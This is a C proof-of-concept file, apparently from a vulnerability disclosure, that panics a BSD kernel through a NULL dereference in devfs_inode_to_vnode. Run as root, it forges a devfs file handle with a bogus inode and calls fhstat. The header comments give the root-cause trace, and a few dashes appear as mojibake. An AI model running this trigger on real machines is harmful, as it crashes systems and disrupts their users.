DF-0773 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 | /* * DF-0773 trigger: NULL deref in devfs_inode_to_vnode -> vn_lock(NULL) * * Root-cause (sys/vfs/devfs/devfs_core.c): * 958 devfs_inode_to_vnode(mp, target) * 961 struct vnode *vp = NULL; * 967-970 msg->mdv_ino.mp/.ino set; send sync DEVFS_INODE_TO_VNODE * 971 vp = msg->mdv_ino.vp; <- NULL if no node matches `target` * 972 vn_lock(vp, LK_EXCLUSIVE | LK_RETRY); <- unconditional! deref NULL * * The dispatcher (sys/vfs/devfs/devfs_core.c:1373-1377) sets * msg->mdv_ino.vp = devfs_iterate_topology(...) <- NULL when no node matches * * devfs_vfs_fhtovp (sys/vfs/devfs/devfs_vfsops.c:214) and devfs_vfs_vget * (:249) both call devfs_inode_to_vnode and only check `if (vp == NULL) * return ENOENT' AFTER the call โ but the panic already happened at line 972. * * Reachability: VFS_FHTOVP is the path behind fhopen(2)/fhstat(2)/fhstatfs(2), * all gated by SYSCAP_RESTRICTEDROOT (sys/kern/vfs_syscalls.c:4832/5013/5063). * So this is a PR:H local DoS โ root can panic the kernel by passing a * fhandle whose fid_ino names no devfs node. * * This PoC: * 1. root calls getfh("/dev/null") to obtain a VALID devfs file handle * (correct fsid + correct fid_gen=boottime.tv_sec), * 2. mutates fid_ino to a value no devfs node has (0xDEADBEEF), * 3. calls fhstat() โ which goes VFS_FHTOVP -> devfs_vfs_fhtovp -> * devfs_inode_to_vnode -> vn_lock(NULL) -> panic. * * Expected on a vulnerable kernel: kernel panic (NULL deref / fatal trap 12 * in vn_lock->lockmgr), guest dies, ssh torn down. * * Build: cc -o trigger trigger.c * Run: ./trigger (as root) */ #include <sys/types.h> #include <sys/mount.h> #include <sys/stat.h> #include <sys/syscall.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #ifndef SYS_getfh #define SYS_getfh 161 #endif #ifndef SYS_fhstat #define SYS_fhstat 478 #endif #ifndef SYS_fhopen #define SYS_fhopen 298 #endif /* * struct devfs_fid (sys/sys/devfs.h) โ used INSIDE fhandle.fh_fid.fid_data * uint16_t fid_len; * uint16_t fid_pad; * uint32_t fid_gen; must equal boottime.tv_sec * ino_t fid_ino; 8 bytes on x86_64 (the byte we mutate) */ struct devfs_fid { uint16_t fid_len; uint16_t fid_pad; uint32_t fid_gen; ino_t fid_ino; }; static void hexdump(const char *label, const void *p, size_t n) { const unsigned char *b = p; size_t i; printf("%s (%zu bytes):", label, n); for (i = 0; i < n; i++) { if ((i % 16) == 0) printf("\n %04zx:", i); printf(" %02x", b[i]); } printf("\n"); } int main(void) { fhandle_t fh; struct stat sb; int rc; memset(&fh, 0, sizeof(fh)); memset(&sb, 0, sizeof(sb)); /* 1. Acquire a VALID devfs file handle for /dev/null. */ rc = syscall(SYS_getfh, "/dev/null", &fh); if (rc != 0) { fprintf(stderr, "getfh(/dev/null) failed: %s (must run as root)\n", strerror(errno)); return 2; } printf("[+] getfh(\"/dev/null\") OK\n"); hexdump("[+] raw fhandle", &fh, sizeof(fh)); /* Sanity: confirm we are pointed at devfs (mnt_stat is filled by getfh * via copyout โ but we can also confirm with statfs). */ { struct statfs sf; if (statfs("/dev/null", &sf) == 0) { printf("[+] /dev/null is on f_type=%s f_fsid=[0x%x,0x%x]\n", sf.f_fstypename, sf.f_fsid.val[0], sf.f_fsid.val[1]); } } /* 2. Mutate fid_ino inside the devfs_fid to an inode that does NOT * exist in any devfs node. devfs_inode_to_vnode_worker_callback * (devfs_core.c:2202) returns NULL unless node->d_dir.d_ino == target, * so devfs_iterate_topology returns NULL, msg->mdv_ino.vp=NULL, and * line 972 vn_lock(NULL) panics. */ { struct devfs_fid *df = (struct devfs_fid *)&fh.fh_fid; /* keep fid_gen (== boottime.tv_sec) intact so we pass the * devfs_vfs_fhtovp:211 gen check and reach line 214. */ printf("[+] original devfs_fid: len=%u pad=%u gen=%u ino=%llu\n", df->fid_len, df->fid_pad, df->fid_gen, (unsigned long long)df->fid_ino); df->fid_ino = (ino_t)0xDEADBEEFCAFEBABEULL; printf("[+] mutated devfs_fid: len=%u pad=%u gen=%u ino=%llu\n", df->fid_len, df->fid_pad, df->fid_gen, (unsigned long long)df->fid_ino); } printf("[*] calling fhstat() with bogus devfs fid_ino -> expect panic...\n"); fflush(stdout); /* 3. fhstat -> VFS_FHTOVP(devfs) -> devfs_vfs_fhtovp -> devfs_inode_to_vnode * -> vn_lock(NULL) -> lockmgr(&vp->v_lock) deref 0x... -> fatal trap. */ rc = syscall(SYS_fhstat, &fh, &sb); /* NOT REACHED on a vulnerable kernel */ printf("[-] fhstat returned rc=%d errno=%d (%s) โ NOT vulnerable?\n", rc, errno, strerror(errno)); return 1; } |